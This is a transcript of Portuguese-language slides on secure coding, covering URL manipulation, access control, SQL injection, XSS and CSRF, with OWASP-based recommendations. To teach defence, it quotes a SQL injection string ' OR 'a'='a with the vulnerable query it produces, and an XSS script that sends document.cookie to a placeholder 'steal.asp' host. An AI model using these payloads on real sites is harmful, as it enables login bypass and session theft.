lições praticas de codigo seguro
TRANSCRIPT
Lições Práticas de Código Seguro
Quem sou eu?
• Arthur Paixão• 5 Anos de experiência na área de segurança da informação• Certificações:
EC-CSA (EcCouncil Certified Security Analyst) EC-CHFI (EcCouncil Computer Hacking Forensic Investigator)
• Diversos cursos de especialização na área:
INTEL, Fundação Bradesco, DragonJAR, Offensive Security
• Atualmente trabalho:Security Consulting & Pentester: Equipe de Resposta a Tratamento de
Incidentes de Segurança (CSIRT)Desenvolvedor: Java, Flex, PL-SQL, Oracle Forms (6i & 10g)
Agenda
A Evolução dos Ataques Application Security != Network Security Entendendo as táticas do inimigo O quanto segura deve ser sua aplicação? Custos que envolvem uma aplicação segura ? Porquê o PHP é tão vulnerável?
Agenda
Principais Ameaças: Injeções Cross-Site Scripting (XSS)Referência direta à objetos Cross-Site Request Forgery (CSRF)Falha na Restrição de Acesso à URLsURL Manipulation
Agenda
Principais Ameaças:Canal InseguroRedirecionamentos Não-Validados
Segurança é ...?
É tudo a mesma coisa?
Application Security != Network Security
X
Evolução dos Ataques
A evolução dos ataques.
Onde identificar falhas?
No início, ao não identificar as necessidades de segurança
Na criação de arquiteturas conceituais que possuam erros de lógica
No uso de más práticas de programação que introduzam vulnerabilidades técnicas
Na implementação do software de modo inapropriado Na inserção de falhas durante a manutenção ou a
atualização
Onde identificar falhas?
Vulnerabilidades de software podem ter um escopo muito maior do que o do próprio software.
• O software e sua informação associada• O sistema operacional dos servidores associados• A base de dados do backend.• Outras aplicações em um ambiente compartilhado• O sistema do usuário• Outros softwares com os quais o usuário interage
URL Manipulation
O comando GET requisita informações importantes na URL.
Os parâmetros podem ser manipulados para se obter resultados satisfatórios.
O impacto é ALTO. Variações podem ser feitas para se tentar obter
resultados interessantes.
http://www.vitima.com/exemplo?usuario=arthurpaixao&senha=123
Falha na Restrição de Acesso à URLs
Exposição do nível de privilégio.É possível forçar outros níveis
(admin, manager, etc)
Falha na Restrição de Acesso à URLs
Recomendações:Restrição de acesso em várias
camadas.Bloqueie requisições à tipos não
autorizados de arquivos (configurações, logs, fontes, etc.)
SQL Injection
A ideia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB.
Todos os parâmetros passados são direcionados para o banco de dados.
O atacante pode manipular com as tabelas e dados diretamente.
SQL Injection
• Client-Side: (O Truque Ninja) ' OR 'a'='a
•Server-Side:SELECT id FROM usuariosWHERE nome = '$nome'AND senha = '' OR 'a'='a';
Injections em Geral
Recomendações: Tratamento de entradas Validação por whitelist Minimize os privilégios OWASP:
SQL_Injection_Prevention_Cheat_Sheet
Cross-Site Scripting (XSS)
Enviados ao browser do usuário Posts, URLs, javascript, etc... Todo Browser é “vulnerável”:
javascript:alert(document.cookie) Redirecionamento e/ou roubo de dados
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
• Esta vulnerabilidade tira vantagens de sites que não fazem o tratamento dos dados de entrada.
• O POST contém um script que pode ser executado via browser.
<script>window.navigate("http://site.com/steal.asp?cookie="+document.cookie)
</script>
Cross-Site Scripting (XSS)
• Ataque de XSS Persistente Dados enviados sem tratamento para
usuários.
Cross-Site Scripting (XSS)
• Ataque de XSS Não Persistente Dados enviados de volta sem tratamento e
executado no browser da vítima.
Cross-Site Scripting (XSS)
• Ataque de XSS DOM Código executado no browser utilizando
elementos do DOM. Não há falha no servidor
Cross-Site Scripting (XSS)
• Recomendações: Validação de entrada Validação de saída Validação de elementos do DOM OWASP
XSS Prevention Cheat Sheet
Cross Site Request Forgery (CSRF)
• Browsers enviam alguns tipos de credenciais automaticamente em cada requisição.
Cookies
Cabeçalhos
Endereço IP
Certificados SSL
Cross Site Request Forgery (CSRF)
• Recomendações: Autenticações forcadas em requisições
sensíveis. Controle exposição de dados utilizados
como credenciais. OWASP:
CSRF_Prevention_Cheat_Sheet
Referência
• www.usecurity.com.br
• www.owasp.org
• www.thehackernews.com
• www.guiadohacker.com.br/forum
• www.remote-execution.blogspot.com.br
• www.securitytube.net
[email protected]/arthur.paixaotwitter.com.br/arthurpaixao